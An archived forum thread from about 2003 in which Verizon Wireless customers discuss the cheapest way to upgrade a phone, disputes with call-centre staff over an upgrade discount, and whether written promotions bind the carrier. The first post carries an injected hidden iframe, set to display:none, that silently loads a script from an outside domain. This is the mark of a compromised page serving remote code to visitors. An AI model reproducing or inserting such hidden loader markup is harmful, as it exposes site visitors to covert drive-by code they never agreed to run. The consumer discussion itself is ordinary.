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  1. #1
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    04-24-2003
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    Advice-Best Way To Upgrade Phone?

    I need advice regarding the most cost effective way to upgrade my 6035 Verizon service phone to a new 7135 with Verizon. I am about the one year mark of a two year contract (non corporate).

    Best I can come up with from Verizon is $569 with my 6035 trade-in, plus shipping.

    Is there a more cost efficient way to achieve this?

    Thanks in advance.

    Nolan<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

  2. #2
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    02-04-2002
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    Last week I extended my "lifetime" contract for another two years, while adding extra minutes. I asked if I was able to upgrade my phone at the promotional price of $499. I was told I could because I had purchased my phone and started my service before Fed. 2002, but would not get the $100 credit in addition. I said, ok, that's reasonable, it hasn't been 2 years. Then I received a contract in the mail thanking me for signing up for another two years.

    Today, I spent two hours on the phone today with 5 different Verizon people trying to get them to honor a written retail contract. I was told by two different reps that, since I had purchased my 6035 before February 2002 and signed a two year contract, that I was able to purchase a 7135 at the price of $499. They said the contract policy in effect when I signed up was that I was able to upgrade the phone at a discounted price at 10 months since I had signed up for 2 years, but couldn't get the $100 credit until next February. This was the same thing they told me the other day. I asked them to connect me with sales and I would purchase immediately.

    Then this guy comes on and tells me that I can only get the phone at a discount if I change my plan from Single Rate East to America's Choice. I said, that won't work, please honor your written and verbal contracts and representations to entice me to sign up for another 2 years, sell me the phone at $499. He and his associate who teamed up said that I had been talking to third party representatives (even though I dialed the Verizon 800 number) who had no authority to "change policy." They introduced themselves as employees of Verizon and they would not let me buy the discounted phone with a "grandfathered plan."

    I referenced the written contract I had with the store. They said that the equipment part of the contract was only a "promotion" and the only contract I had with Verizon Wireless was one of providing cellular service. I asked him who I had purchased the phone from? He said even though I purchased from Verizon or an authorized Verizon dealer, that their current policy about upgrades took precedence over any verbal enticements made by third parties or written "promotions" I had signed with Verizon or its representatives. He also stated that the purchase of the phone was not a contract but only a promotion. He refused to conference in the representative, who gave me her name, who had assured me that I could do the upgrade.

    I asked him if I had originally purchased a phone from Verizon or one of its authorized dealers. He said I had. I then told him that entice me to purchase the phone, the retailer had made certain representations, both verbally and in writing, and were those representations promoted by Verizon. He said they had to be or I wouldn't have been billed for them. I then informed him that what he called a "promotion" is actually a contract and he was therefore refusing to honor his contract. I also asked him that he was aware, as a representative of Verizon, that he what he was admitting concerning "promotions" not being contracts, that his firm could be interpreted as engaging in fraud?

    He said I sorry sir, I am telling what the policy is and you can only get the phone at a discounted price with a current plan. I repeated then he was telling me that he was not willing to honor his contract.

    I asked him to look at the notes and copies of contracts that his customer service reps had obviously referenced. He said he had not need to look at them. He said the only contract that I had with Verizon was to provide service and that "promotions" about equipment, free nights and weekends , even though they were in writing and issued at the time of service initiation were not part of the contract with Verizon. He also said that there was no reason for them to have a copy of the "promotional document" signed on behalf of Verizon because the only contract I had with Verizon Wireless was one of providing wireless service. I asked him if I had signed that contract. He said it didn't matter that that was the contract, not the paper I had signed, and that their service agreement took precendence.

    Has anyone else had a similar experience? Are there any attorneys out there who would like would like to weigh in on this?

  3. #3
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    04-10-2003
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    Originally posted by ivanj

    Has anyone else had a similar experience? Are there any attorneys out there who would like would like to weigh in on this?
    I've never had that exact experience but Verizon really sucks when it comes to upgrades. they have some dumbass policies.

    I was with Nextel and they had the absolute best upgrade policy. They didn't... everything was retail (until recently). But it kept it simple...

    I think the best way to get phones is either by signing a new contract (for new service) or just getting a used one off of eBay (by a good seller).

    If they used one sucks... oops, I lost it. it all works out in the end.

    I'd rather do all of that than speak to a Verizon rep for more than one minute.

  4. #4
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    08-17-2002
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    While it I am not clear on what your written contract says, if you signed a contract that included a provision providing you with a chance to upgrade your phone they are legally bound by the contract, regardless of what their "policy." However, if you are relying on what the salesperson said and it is not in writing, it gets trickier, both as a matter of proof and whether it overrides the written contract. However, if it was a VZW agent and he/she out it in writing, they have to honor it. The trick is getting them to come through. I would demand to speak to a higher level person.

  5. #5
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    02-04-2002
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    Followup:
    Yesterday I went into a Verizon store to see if I could get a 7135. The saleman was very courteous and knowleable, and told me that the new plans had some advanteges. He made some recommendations that we discussed. We decided that I should stay with the old plan for the time being and then perhaps go to Americas Choice when I travel more. The sales rep said sure, no problem,I can gt you one at the discount price. He then looked up my record.
    His face fell. He said that the manager in the call center in South Carolina had put a "Customer has Special Comment" field on my account and he would have to look it up. When he looked it up, he said that under no circumstances could I buy a 7135 at a discount price from him. He told me to talk to his manager and perhaps he could do something about it. He would not show me the comment.
    Anyone have any idea how I should proceed? Does anyone know who the head of this SC call center is and how I can get in touch to get this nonsense rectified? I am in NH and I don't see how he can affect me here.

    "However, if it was a VZW agent and he/she out it in writing, they have to honor it."

    At one point this manager from SC said yes he saw where this offer was written into the comments but he was going to remove it.

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